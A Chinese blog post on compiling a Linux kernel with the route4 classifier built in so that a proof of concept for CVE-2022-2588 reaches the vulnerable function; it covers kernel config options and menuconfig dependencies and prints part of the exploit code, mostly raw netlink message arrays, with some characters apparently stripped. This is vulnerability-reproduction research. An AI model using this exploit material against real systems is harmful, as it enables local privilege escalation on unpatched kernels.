背景
在复现CVE-2022-2588漏洞的时候,编译可以运行poc成功触发漏洞所在函数的内核的过程。踩了一些坑,记录一下思路。
目标
前置知识
内核与内核模块
内核是内核(bzImage)+内核模块(.ko)组成的,很多内核的功能都不是直接在内核之中,而是在内核模块之中,系统启动之后加载对应的内核模块。这个过程涉及到linux系统启动之后的动作,而我们自己编译的简易版内核和基于qemu 的简易漏洞复现环境(qemu + 单个kernel + 基于busybox做的简易文件系统)是没有那么完整的启动过程的。所以我们一般要把需要的内核模块直接编译到内核之中。
内核的编译选项
内核编译的过程中会根据.config文件中的编译选项决定编译动作,不同内核模块的编译是由编译选项决定的,如果编译选项是m,则代表该功能会被编译成内核模块(.ko),而如果该编译选项是y则代表该功能被编译进内核(bzImage)之中。
CONFIG_NET_CLS_ROUTE4=m 或 CONFIG_NET_CLS_ROUTE4=y
所以我们需要的便是将漏洞所在模块设置成y,让其直接编译到内核bzImage中。在设置内核编译选项的时候最好不要直接编辑.config文件,因为好多内核模块之间有依赖关系,如果只是把目标模块的m改成y,而没改它依赖的模块的话,最后编译容易造成依赖链混乱,最好是通过make menuconfig 的形式来配置编译选项,menuconfig可以显示某个编译选项所依赖的其他选项。
可以看出编译选项CONFIG_NFT_CONNLIMIT的depends on中有些依赖还是m状态,那么该选项(CONFIG_NFT_CONNLIMIT)就无法被设置成y,只有当满足的依赖都是y的情况下,才能设置成y:
- 还有一些编译选项是自动设置的,根据其依赖的选项,依赖项都是m那么就自动设置成m,依赖项设置成y则自动设置成y 有一些依赖是互斥的,有了这个就不能有另一个,需要厘清逻辑关系。
过程
这里不对漏洞做过多分析,主要阐述编译过程
基本信息
使用的poc如下:
https://github.com/sang-chu/CVE-2022-2588
原本poc代码(经过我略微修改,本次调试使用):
#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
void hexdump(const void *data, size_t size)
{
char ascii[17];
size_t i, j;
ascii[16] = ;
for (i = 0; i < size; ++i)
{
dprintf(2, "%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= && ((unsigned char *)data)[i] <= ~)
{
ascii[i % 16] = ((unsigned char *)data)[i];
} else
{
ascii[i % 16] = .;
}
if ((i + 1) % 8 == 0 || i + 1 == size)
{
dprintf(2, " ");
if ((i + 1) % 16 == 0)
{
dprintf(2, "| %s
", ascii);
}
else if (i + 1 == size)
{
ascii[(i + 1) % 16] = ;
if ((i + 1) % 16 <= 8)
{
dprintf(2, " ");
}
for (j = (i + 1) % 16; j < 16; ++j)
{
dprintf(2, " ");
}
dprintf(2, "| %s
", ascii);
}
}
}
}
static char newlink[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWLINK */
16, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x30, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
e, t, 2, 0,
/* nla_len, nla_type */
16, 0x00, 18, 0x00,
/* nested nla_len, nla_type */
10, 0x00, 0x01, 0x00,
d, u, m, m,
y, 0x00, 0x00, 0x00,
};
static char dellink[] = {
/* len */
40, 0x00, 0x00, 0x00,
/* type = DELLINK */
17, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x00, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
e, t, 2, 0,
};
static char tfilter[] = {
/* len */
68, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* nla_len, nla_type */
0x0a, 0x00, 0x01, 0x00,
/* string */
r, o, u, t,
e, 0, 0, 0,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char ntfilter[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
/* 0x200 = NLM_F_EXCL */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/pnotes/291858.html